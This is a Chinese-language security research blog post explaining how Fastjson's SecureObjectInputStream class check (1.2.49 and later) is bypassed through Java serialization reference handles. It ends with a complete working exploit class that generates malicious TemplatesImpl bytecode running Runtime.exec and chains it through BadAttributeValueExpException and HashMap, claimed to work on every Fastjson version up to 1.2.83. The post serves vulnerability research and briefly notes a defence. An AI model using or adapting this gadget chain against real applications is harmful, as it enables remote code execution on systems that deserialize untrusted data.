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FastJson与原生反序列化(二)

FastJson与原生反序列化(二) {#FastJson与原生反序列化-二}

很早之前在发第一篇的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过,后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload,至此fastjson全版本就彻底加入原生反序列化的gadget,向师傅们致敬,想着将文章完善的缘故,并且师傅们没有提到具体的原理,因此发个第二篇进行简单介绍。

当然这里不会详细说明完整的序列化与反序列化的过程,如果有感兴趣的可以参考panda师傅的博客,关于序列化流程分析总结反序列化流程分析总结,里面已经写的很细致了。

回顾 {#回顾}

之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,

image-20230426095410017

在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查,这样真的是安全的么?

resolveClass的调用 {#resolveClass的调用}

乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

不安全的反序列化过程 {#不安全的反序列化过程}

|---------------|--------------------------------------------------------------------------------------------------------------| | 1 2 3 | ObjectInputStream -> readObject xxxxxx(省略中间过程) SecureObjectInputStream -> readObject -> resolveClass |

安全的反序列化过程 {#安全的反序列化过程}

多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上

|-----------|-------------------------------------------------------| | 1 | TestInputStream -> readObject -> resolveClass |

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

|------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException("writing aborted", ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true); bin.peek(); // force header read throw new OptionalDataException( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException( "unexpected block data"); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException(true); } else { throw new StreamCorruptedException( "unexpected end of block data"); } default: throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); } |

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出

image-20230426102949380

那么就只剩下了reference引用类型了

如何利用引用类型 {#如何利用引用类型}

现在我们就要思考,如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,

|-----------------|---------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 | ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList); |

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射

image-20230426105607843

当再次写入同一对象时,在handles这个hash表中查到了映射

image-20230426110435564

那么就会通过writeHandle将重复对象以引用类型写入

image-20230426110523137

因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路

|---------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList); |

简单梳理下

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。

完整利用 {#完整利用}

至此fastjson全版本实现了原生反序列化利用

代码测试依赖

|------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 | <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> |

测试代码以HashMap为例

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Y4HackJSON { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } } |

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